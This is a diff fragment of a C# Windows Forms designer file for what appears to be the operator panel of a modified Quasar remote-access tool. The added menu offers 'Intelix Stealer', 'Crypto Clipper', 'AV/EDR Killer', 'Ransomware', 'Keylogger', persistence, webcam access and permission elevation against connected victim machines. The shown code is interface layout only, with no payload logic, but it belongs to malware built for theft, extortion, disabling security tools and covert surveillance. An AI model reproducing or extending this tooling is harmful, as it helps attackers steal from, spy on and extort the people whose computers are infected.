this.shutdownToolStripMenuItem, + this.restartToolStripMenuItem, + this.standbyToolStripMenuItem}); + this.actionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions; + this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; + this.actionsToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.actionsToolStripMenuItem.Text = "Actions"; + // + // shutdownToolStripMenuItem + // + this.shutdownToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown; + this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; + this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + this.shutdownToolStripMenuItem.Text = "Shutdown"; + this.shutdownToolStripMenuItem.Click += new System.EventHandler(this.shutdownToolStripMenuItem_Click); + // + // restartToolStripMenuItem + // + this.restartToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart; + this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; + this.restartToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + this.restartToolStripMenuItem.Text = "Restart"; + this.restartToolStripMenuItem.Click += new System.EventHandler(this.restartToolStripMenuItem_Click); + // + // standbyToolStripMenuItem + // + this.standbyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby; + this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; + this.standbyToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + this.standbyToolStripMenuItem.Text = "Standby"; + this.standbyToolStripMenuItem.Click += new System.EventHandler(this.standbyToolStripMenuItem_Click); + // + // surveillanceToolStripMenuItem + // + this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.intelixStealerToolStripMenuItem, + this.clipperToolStripMenuItem, + this.survivalToolStripMenuItem, + this.avKillerToolStripMenuItem, + this.botKillerToolStripMenuItem, + this.ransomwareToolStripMenuItem, + this.systemOptionsToolStripMenuItem, + this.keyloggerToolStripMenuItem, + this.remoteDesktopToolStripMenuItem2}); + this.surveillanceToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.surveillanceToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.monitoring; + this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.surveillanceToolStripMenuItem.Text = "Monitoring"; + // + // intelixStealerToolStripMenuItem + // + this.intelixStealerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.intelixStealerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.creditcards; + this.intelixStealerToolStripMenuItem.Name = "intelixStealerToolStripMenuItem"; + this.intelixStealerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.intelixStealerToolStripMenuItem.Text = "Intelix Stealer"; + this.intelixStealerToolStripMenuItem.Click += new System.EventHandler(this.intelixStealerToolStripMenuItem_Click); + // + // clipperToolStripMenuItem + // + this.clipperToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.clipperToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.clipperToolStripMenuItem.Name = "clipperToolStripMenuItem"; + this.clipperToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.clipperToolStripMenuItem.Text = "Crypto Clipper"; + this.clipperToolStripMenuItem.Click += new System.EventHandler(this.clipperToolStripMenuItem_Click); + // + // survivalToolStripMenuItem + // + this.survivalToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.survivalToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bricks; + this.survivalToolStripMenuItem.Name = "survivalToolStripMenuItem"; + this.survivalToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.survivalToolStripMenuItem.Text = "Survival (Reset Persist)"; + this.survivalToolStripMenuItem.Click += new System.EventHandler(this.survivalToolStripMenuItem_Click); + // + // avKillerToolStripMenuItem + // + this.avKillerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.avKillerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.error; + this.avKillerToolStripMenuItem.Name = "avKillerToolStripMenuItem"; + this.avKillerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.avKillerToolStripMenuItem.Text = "AV/EDR Killer"; + this.avKillerToolStripMenuItem.Click += new System.EventHandler(this.avKillerToolStripMenuItem_Click); + // + // botKillerToolStripMenuItem + // + this.botKillerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.botKillerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bug; + this.botKillerToolStripMenuItem.Name = "botKillerToolStripMenuItem"; + this.botKillerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.botKillerToolStripMenuItem.Text = "Bot Killer"; + this.botKillerToolStripMenuItem.Click += new System.EventHandler(this.botKillerToolStripMenuItem_Click); + // + // ransomwareToolStripMenuItem + // + this.ransomwareToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.ransomwareToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lock1; + this.ransomwareToolStripMenuItem.Name = "ransomwareToolStripMenuItem"; + this.ransomwareToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.ransomwareToolStripMenuItem.Text = "Ransomware"; + this.ransomwareToolStripMenuItem.Click += new System.EventHandler(this.ransomwareToolStripMenuItem_Click); + // + // systemOptionsToolStripMenuItem + // + this.systemOptionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemOptionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog; + this.systemOptionsToolStripMenuItem.Name = "systemOptionsToolStripMenuItem"; + this.systemOptionsToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.systemOptionsToolStripMenuItem.Text = "System Options"; + this.systemOptionsToolStripMenuItem.Click += new System.EventHandler(this.systemOptionsToolStripMenuItem_Click); + // + // keyloggerToolStripMenuItem + // + this.keyloggerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.keyboard_magnify; + this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.keyloggerToolStripMenuItem.Text = "Keylogger"; + this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); + // + // remoteDesktopToolStripMenuItem2 + // + this.remoteDesktopToolStripMenuItem2.ForeColor = System.Drawing.Color.White; + this.remoteDesktopToolStripMenuItem2.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem2.Image"))); + this.remoteDesktopToolStripMenuItem2.Name = "remoteDesktopToolStripMenuItem2"; + this.remoteDesktopToolStripMenuItem2.Size = new System.Drawing.Size(238, 26); + this.remoteDesktopToolStripMenuItem2.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem2.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + // + // userSupportToolStripMenuItem + // + this.userSupportToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.showMessageboxToolStripMenuItem, + this.remoteDesktopToolStripMenuItem, + this.webcamToolStripMenuItem, + this.visitWebsiteToolStripMenuItem}); + this.userSupportToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.userSupportToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.user; + this.userSupportToolStripMenuItem.Name = "userSupportToolStripMenuItem"; + this.userSupportToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.userSupportToolStripMenuItem.Text = "User Support"; + // + // showMessageboxToolStripMenuItem + // + this.showMessageboxToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); + this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; + this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); + // + // remoteDesktopToolStripMenuItem + // + this.remoteDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); + this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + // + // webcamToolStripMenuItem + // + this.webcamToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.webcamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.camera; + this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.webcamToolStripMenuItem.Text = "Webcam"; + this.webcamToolStripMenuItem.Click += new System.EventHandler(this.webcamToolStripMenuItem_Click); + // + // visitWebsiteToolStripMenuItem + // + this.visitWebsiteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); + this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; + this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.visitWebsiteToolStripMenuItem.Text = "Send to Website"; + this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); + // + // connectionToolStripMenuItem + // + this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.elevateClientPermissionsToolStripMenuItem, + this.updateToolStripMenuItem, + this.reconnectToolStripMenuItem, + this.disconnectToolStripMenuItem, + this.uninstallToolStripMenuItem}); + this.connectionToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); + this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.connectionToolStripMenuItem.Text = "Client Management"; + // + // elevateClientPermissionsToolStripMenuItem + // + this.elevateClientPermissionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shield; + this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; + this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; + this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click); + // + // updateToolStripMenuItem + // + this.updateToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); + this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; + this.updateToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.updateToolStripMenuItem.Text = "Update"; + this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); + // + // reconnectToolStripMenuItem + // + this.reconnectToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); + this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.reconnectToolStripMenuItem.Text = "Reconnect"; + this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); + // + // disconnectToolStripMenuItem + // + this.disconnectToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); + this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; + this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.disconnectToolStripMenuItem.Text = "Disconnect"; + this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); + // + // uninstallToolStripMenuItem + // + this.uninstallToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); + this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.uninstallToolStripMenuItem.Text = "Uninstall"; + this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(205, 6); + // + // selectAllToolStripMenuItem + // + this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.selectAllToolStripMenuItem.Text = "Select All"; + this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); + // + // imgFlags + // + this.imgFlags.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgFlags.ImageStream"))); + this.imgFlags.TransparentColor = System.Drawing.Color.Transparent; + this.imgFlags.Images.SetKeyName(0, "ad.png"); + this.imgFlags.Images.SetKeyName(1, "ae.png"); + this.imgFlags.Images.SetKeyName(2, "af.png"); + this.imgFlags.Images.SetKeyName(3, "ag.png"); + this.imgFlags.Images.SetKeyName(4, "ai.png"); + this.imgFlags.Images.SetKeyName(5, "al.png"); + this.imgFlags.Images.SetKeyName(6, "am.png"); + this.imgFlags.Images.SetKeyName(7, "an.png"); + this.imgFlags.Images.SetKeyName(8, "ao.png"); + this.imgFlags.Images.SetKeyName(9, "ar.png"); + this.imgFlags.Images.SetKeyName(10, "as.png"); + this.imgFlags.Images.SetKeyName(11, "at.png"); + this.imgFlags.Images.SetKeyName(12, "au.png"); + this.imgFlags.Images.SetKeyName(13, "aw.png"); + this.imgFlags.Images.SetKeyName(14, "ax.png"); + this.imgFlags.Images.SetKeyName(15, "az.png"); + this.imgFlags.Images.SetKeyName(16, "ba.png"); + this.imgFlags.Images.SetKeyName(17, "bb.png"); + this.imgFlags.Images.SetKeyName(18, "bd.png"); + this.imgFlags.Images.SetKeyName(19, "be.png"); + this.imgFlags.Images.SetKeyName(20, "bf.png"); + this.imgFlags.Images.SetKeyName(21, "bg.png"); + this.imgFlags.Images.SetKeyName(22, "bh.png"); + this.imgFlags.Images.SetKeyName(23, "bi.png"); + this.imgFlags.Images.SetKeyName(24, "bj.png"); + this.imgFlags.Images.SetKeyName(25, "bm.png"); + this.imgFlags.Images.SetKeyName(26, "bn.png"); + this.imgFlags.Images.SetKeyName(27, "bo.png"); + this.imgFlags.Images.SetKeyName(28, "br.png"); + this.imgFlags.Images.SetKeyName(29, "bs.png"); + this.imgFlags.Images.SetKeyName(30, "bt.png"); + this.imgFlags.Images.SetKeyName(31, "bv.png"); + this.imgFlags.Images.SetKeyName(32, "bw.png"); + this.imgFlags.Images.SetKeyName(33, "by.png"); + this.imgFlags.Images.SetKeyName(34, "bz.png"); + this.imgFlags.Images.SetKeyName(35, "ca.png"); + this.imgFlags.Images.SetKeyName(36, "catalonia.png"); + this.imgFlags.Images.SetKeyName(37, "cc.png"); + this.imgFlags.Images.SetKeyName(38, "cd.png"); + this.imgFlags.Images.SetKeyName(39, "cf.png"); + this.imgFlags.Images.SetKeyName(40, "cg.png"); + this.imgFlags.Images.SetKeyName(41, "ch.png"); + this.imgFlags.Images.SetKeyName(42, "ci.png"); + this.imgFlags.Images.SetKeyName(43, "ck.png"); + this.imgFlags.Images.SetKeyName(44, "cl.png"); + this.imgFlags.Images.SetKeyName(45, "cm.png"); + this.imgFlags.Images.SetKeyName(46, "cn.png"); + this.imgFlags.Images.SetKeyName(47, "co.png"); + this.imgFlags.Images.SetKeyName(48, "cr.png"); + this.imgFlags.Images.SetKeyName(49, "cs.png"); + this.imgFlags.Images.SetKeyName(50, "cu.png"); + this.imgFlags.Images.SetKeyName(51, "cv.png"); + this.imgFlags.Images.SetKeyName(52, "cx.png"); + this.imgFlags.Images.SetKeyName(53, "cy.png"); + this.imgFlags.Images.SetKeyName(54, "cz.png"); + this.imgFlags.Images.SetKeyName(55, "de.png"); + this.imgFlags.Images.SetKeyName(56, "dj.png"); + this.imgFlags.Images.SetKeyName(57, "dk.png"); + this.imgFlags.Images.SetKeyName(58, "dm.png"); + this.imgFlags.Images.SetKeyName(59, "do.png"); + this.imgFlags.Images.SetKeyName(60, "dz.png"); + this.imgFlags.Images.SetKeyName(61, "ec.png"); + this.imgFlags.Images.SetKeyName(62, "ee.png"); + this.imgFlags.Images.SetKeyName(63, "eg.png"); + this.imgFlags.Images.SetKeyName(64, "eh.png"); + this.imgFlags.Images.SetKeyName(65, "england.png"); + this.imgFlags.Images.SetKeyName(66, "er.png"); + this.imgFlags.Images.SetKeyName(67, "es.png"); + this.imgFlags.Images.SetKeyName(68, "et.png"); + this.imgFlags.Images.SetKeyName(69, "europeanunion.png"); + this.imgFlags.Images.SetKeyName(70, "fam.png"); + this.imgFlags.Images.SetKeyName(71, "fi.png"); + this.imgFlags.Images.SetKeyName(72, "fj.png"); + this.imgFlags.Images.SetKeyName(73, "fk.png"); + this.imgFlags.Images.SetKeyName(74, "fm.png"); + this.imgFlags.Images.SetKeyName(75, "fo.png"); + this.imgFlags.Images.SetKeyName(76, "fr.png"); + this.imgFlags.Images.SetKeyName(77, "ga.png"); + this.imgFlags.Images.SetKeyName(78, "gb.png"); + this.imgFlags.Images.SetKeyName(79, "gd.png"); + this.imgFlags.Images.SetKeyName(80, "ge.png"); + this.imgFlags.Images.SetKeyName(81, "gf.png"); + this.imgFlags.Images.SetKeyName(82, "gh.png"); + this.imgFlags.Images.SetKeyName(83, "gi.png"); + this.imgFlags.Images.SetKeyName(84, "gl.png"); + this.imgFlags.Images.SetKeyName(85, "gm.png"); + this.imgFlags.Images.SetKeyName(86, "gn.png"); + this.imgFlags.Images.SetKeyName(87, "gp.png"); + this.imgFlags.Images.SetKeyName(88, "gq.png"); + this.imgFlags.Images.SetKeyName(89, "gr.png"); + this.imgFlags.Images.SetKeyName(90, "gs.png"); + this.imgFlags.Images.SetKeyName(91, "gt.png"); + this.imgFlags.Images.SetKeyName(92, "gu.png"); + this.imgFlags.Images.SetKeyName(93, "gw.png"); + this.imgFlags.Images.SetKeyName(94, "gy.png"); + this.imgFlags.Images.SetKeyName(95, "hk.png"); + this.imgFlags.Images.SetKeyName(96, "hm.png"); + this.imgFlags.Images.SetKeyName(97, "hn.png"); + this.imgFlags.Images.SetKeyName(98, "hr.png"); + this.imgFlags.Images.SetKeyName(99, "ht.png"); + this.imgFlags.Images.SetKeyName(100, "hu.png"); + this.imgFlags.Images.SetKeyName(101, "id.png"); + this.imgFlags.Images.SetKeyName(102, "ie.png"); + this.imgFlags.Images.SetKeyName(103, "il.png"); + this.imgFlags.Images.SetKeyName(104, "in.png"); + this.imgFlags.Images.SetKeyName(105, "io.png"); + this.imgFlags.Images.SetKeyName(106, "iq.png"); + this.imgFlags.Images.SetKeyName(107, "ir.png"); + this.imgFlags.Images.SetKeyName(108, "is.png"); + this.imgFlags.Images.SetKeyName(109, "it.png"); + this.imgFlags.Images.SetKeyName(110, "jm.png"); + this.imgFlags.Images.SetKeyName(111, "jo.png"); + this.imgFlags.Images.SetKeyName(112, "jp.png"); + this.imgFlags.Images.SetKeyName(113, "ke.png"); + this.imgFlags.Images.SetKeyName(114, "kg.png"); + this.imgFlags.Images.SetKeyName(115, "kh.png"); + this.imgFlags.Images.SetKeyName(116, "ki.png"); + this.imgFlags.Images.SetKeyName(117, "km.png"); + this.imgFlags.Images.SetKeyName(118, "kn.png"); + this.imgFlags.Images.SetKeyName(119, "kp.png"); + this.imgFlags.Images.SetKeyName(120, "kr.png"); + this.imgFlags.Images.SetKeyName(121, "kw.png"); + this.imgFlags.Images.SetKeyName(122, "ky.png"); + this.imgFlags.Images.SetKeyName(123, "kz.png"); + this.imgFlags.Images.SetKeyName(124, "la.png"); + this.imgFlags.Images.SetKeyName(125, "lb.png"); + this.imgFlags.Images.SetKeyName(126, "lc.png"); + this.imgFlags.Images.SetKeyName(127, "li.png"); + this.imgFlags.Images.SetKeyName(128, "lk.png"); + this.imgFlags.Images.SetKeyName(129, "lr.png"); + this.imgFlags.Images.SetKeyName(130, "ls.png"); + this.imgFlags.Images.SetKeyName(131, "lt.png"); + this.imgFlags.Images.SetKeyName(132, "lu.png"); + this.imgFlags.Images.SetKeyName(133, "lv.png"); + this.imgFlags.Images.SetKeyName(134, "ly.png"); + this.imgFlags.Images.SetKeyName(135, "ma.png"); + this.imgFlags.Images.SetKeyName(136, "mc.png"); + this.imgFlags.Images.SetKeyName(137, "md.png"); + this.imgFlags.Images.SetKeyName(138, "me.png"); + this.imgFlags.Images.SetKeyName(139, "mg.png"); + this.imgFlags.Images.SetKeyName(140, "mh.png"); + this.imgFlags.Images.SetKeyName(141, "mk.png"); + this.imgFlags.Images.SetKeyName(142, "ml.png"); + this.imgFlags.Images.SetKeyName(143, "mm.png"); + this.imgFlags.Images.SetKeyName(144, "mn.png"); + this.imgFlags.Images.SetKeyName(145, "mo.png"); + this.imgFlags.Images.SetKeyName(146, "mp.png"); + this.imgFlags.Images.SetKeyName(147, "mq.png"); + this.imgFlags.Images.SetKeyName(148, "mr.png"); + this.imgFlags.Images.SetKeyName(149, "ms.png"); + this.imgFlags.Images.SetKeyName(150, "mt.png"); + this.imgFlags.Images.SetKeyName(151, "mu.png"); + this.imgFlags.Images.SetKeyName(152, "mv.png"); + this.imgFlags.Images.SetKeyName(153, "mw.png"); + this.imgFlags.Images.SetKeyName(154, "mx.png"); + this.imgFlags.Images.SetKeyName(155, "my.png"); + this.imgFlags.Images.SetKeyName(156, "mz.png"); + this.imgFlags.Images.SetKeyName(157, "na.png"); + this.imgFlags.Images.SetKeyName(158, "nc.png"); + this.imgFlags.Images.SetKeyName(159, "ne.png"); + this.imgFlags.Images.SetKeyName(160, "nf.png"); + this.imgFlags.Images.SetKeyName(161, "ng.png"); + this.imgFlags.Images.SetKeyName(162, "ni.png"); + this.imgFlags.Images.SetKeyName(163, "nl.png"); + this.imgFlags.Images.SetKeyName(164, "no.png"); + this.imgFlags.Images.SetKeyName(165, "np.png"); + this.imgFlags.Images.SetKeyName(166, "nr.png"); + this.imgFlags.Images.SetKeyName(167, "nu.png"); + this.imgFlags.Images.SetKeyName(168, "nz.png"); + this.imgFlags.Images.SetKeyName(169, "om.png"); + this.imgFlags.Images.SetKeyName(170, "pa.png"); + this.imgFlags.Images.SetKeyName(171, "pe.png"); + this.imgFlags.Images.SetKeyName(172, "pf.png"); + this.imgFlags.Images.SetKeyName(173, "pg.png"); + this.imgFlags.Images.SetKeyName(174, "ph.png"); + this.imgFlags.Images.SetKeyName(175, "pk.png"); + this.imgFlags.Images.SetKeyName(176, "pl.png"); + this.imgFlags.Images.SetKeyName(177, "pm.png"); + this.imgFlags.Images.SetKeyName(178, "pn.png"); + this.imgFlags.Images.SetKeyName(179, "pr.png"); + this.imgFlags.Images.SetKeyName(180, "ps.png"); + this.imgFlags.Images.SetKeyName(181, "pt.png"); + this.imgFlags.Images.SetKeyName(182, "pw.png"); + this.imgFlags.Images.SetKeyName(183, "py.png"); + this.imgFlags.Images.SetKeyName(184, "qa.png"); + this.imgFlags.Images.SetKeyName(185, "re.png"); + this.imgFlags.Images.SetKeyName(186, "ro.png"); + this.imgFlags.Images.SetKeyName(187, "rs.png"); + this.imgFlags.Images.SetKeyName(188, "ru.png"); + this.imgFlags.Images.SetKeyName(189, "rw.png"); + this.imgFlags.Images.SetKeyName(190, "sa.png"); + this.imgFlags.Images.SetKeyName(191, "sb.png"); + this.imgFlags.Images.SetKeyName(192, "sc.png"); + this.imgFlags.Images.SetKeyName(193, "scotland.png"); + this.imgFlags.Images.SetKeyName(194, "sd.png"); + this.imgFlags.Images.SetKeyName(195, "se.png"); + this.imgFlags.Images.SetKeyName(196, "sg.png"); + this.imgFlags.Images.SetKeyName(197, "sh.png"); + this.imgFlags.Images.SetKeyName(198, "si.png"); + this.imgFlags.Images.SetKeyName(199, "sj.png"); + this.imgFlags.Images.SetKeyName(200, "sk.png"); + this.imgFlags.Images.SetKeyName(201, "sl.png"); + this.imgFlags.Images.SetKeyName(202, "sm.png"); + this.imgFlags.Images.SetKeyName(203, "sn.png"); + this.imgFlags.Images.SetKeyName(204, "so.png"); + this.imgFlags.Images.SetKeyName(205, "sr.png"); + this.imgFlags.Images.SetKeyName(206, "st.png"); + this.imgFlags.Images.SetKeyName(207, "sv.png"); + this.imgFlags.Images.SetKeyName(208, "sy.png"); + this.imgFlags.Images.SetKeyName(209, "sz.png"); + this.imgFlags.Images.SetKeyName(210, "tc.png"); + this.imgFlags.Images.SetKeyName(211, "td.png"); + this.imgFlags.Images.SetKeyName(212, "tf.png"); + this.imgFlags.Images.SetKeyName(213, "tg.png"); + this.imgFlags.Images.SetKeyName(214, "th.png"); + this.imgFlags.Images.SetKeyName(215, "tj.png"); + this.imgFlags.Images.SetKeyName(216, "tk.png"); + this.imgFlags.Images.SetKeyName(217, "tl.png"); + this.imgFlags.Images.SetKeyName(218, "tm.png"); + this.imgFlags.Images.SetKeyName(219, "tn.png"); + this.imgFlags.Images.SetKeyName(220, "to.png"); + this.imgFlags.Images.SetKeyName(221, "tr.png"); + this.imgFlags.Images.SetKeyName(222, "tt.png"); + this.imgFlags.Images.SetKeyName(223, "tv.png"); + this.imgFlags.Images.SetKeyName(224, "tw.png"); + this.imgFlags.Images.SetKeyName(225, "tz.png"); + this.imgFlags.Images.SetKeyName(226, "ua.png"); + this.imgFlags.Images.SetKeyName(227, "ug.png"); + this.imgFlags.Images.SetKeyName(228, "um.png"); + this.imgFlags.Images.SetKeyName(229, "us.png"); + this.imgFlags.Images.SetKeyName(230, "uy.png"); + this.imgFlags.Images.SetKeyName(231, "uz.png"); + this.imgFlags.Images.SetKeyName(232, "va.png"); + this.imgFlags.Images.SetKeyName(233, "vc.png"); + this.imgFlags.Images.SetKeyName(234, "ve.png"); + this.imgFlags.Images.SetKeyName(235, "vg.png"); + this.imgFlags.Images.SetKeyName(236, "vi.png"); + this.imgFlags.Images.SetKeyName(237, "vn.png"); + this.imgFlags.Images.SetKeyName(238, "vu.png"); + this.imgFlags.Images.SetKeyName(239, "wales.png"); + this.imgFlags.Images.SetKeyName(240, "wf.png"); + this.imgFlags.Images.SetKeyName(241, "ws.png"); + this.imgFlags.Images.SetKeyName(242, "ye.png"); + this.imgFlags.Images.SetKeyName(243, "yt.png"); + this.imgFlags.Images.SetKeyName(244, "za.png"); + this.imgFlags.Images.SetKeyName(245, "zm.png"); + this.imgFlags.Images.SetKeyName(246, "zw.png"); + this.imgFlags.Images.SetKeyName(247, "xy.png"); + // + // searchPanel + // + this.searchPanel.Controls.Add(this.txtSearch); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Top; + this.searchPanel.Location = new System.Drawing.Point(4, 4); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1254, 35); + this.searchPanel.TabIndex = 2; + // + // txtSearch + // + this.txtSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearch.Location = new System.Drawing.Point(60, 6); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.Size = new System.Drawing.Size(1187, 26); + this.txtSearch.TabIndex = 1; + this.txtSearch.TextChanged += new System.EventHandler(this.txtSearch_TextChanged); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(6, 9); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(52, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Search:"; + // + // tabBuilder + // + this.tabBuilder.Location = new System.Drawing.Point(4, 28); + this.tabBuilder.Margin = new System.Windows.Forms.Padding(4); + this.tabBuilder.Name = "tabBuilder"; + this.tabBuilder.Padding = new System.Windows.Forms.Padding(4); + this.tabBuilder.Size = new System.Drawing.Size(1262, 515); + this.tabBuilder.TabIndex = 1; + this.tabBuilder.Text = "Builder"; + this.tabBuilder.UseVisualStyleBackColor = true; + // + // tabSettings + // + this.tabSettings.Location = new System.Drawing.Point(4, 28); + this.tabSettings.Margin = new System.Windows.Forms.Padding(4); + this.tabSettings.Name = "tabSettings"; + this.tabSettings.Padding = new System.Windows.Forms.Padding(4); + this.tabSettings.Size = new System.Drawing.Size(1262, 515); + this.tabSettings.TabIndex = 2; + this.tabSettings.Text = "Settings"; + 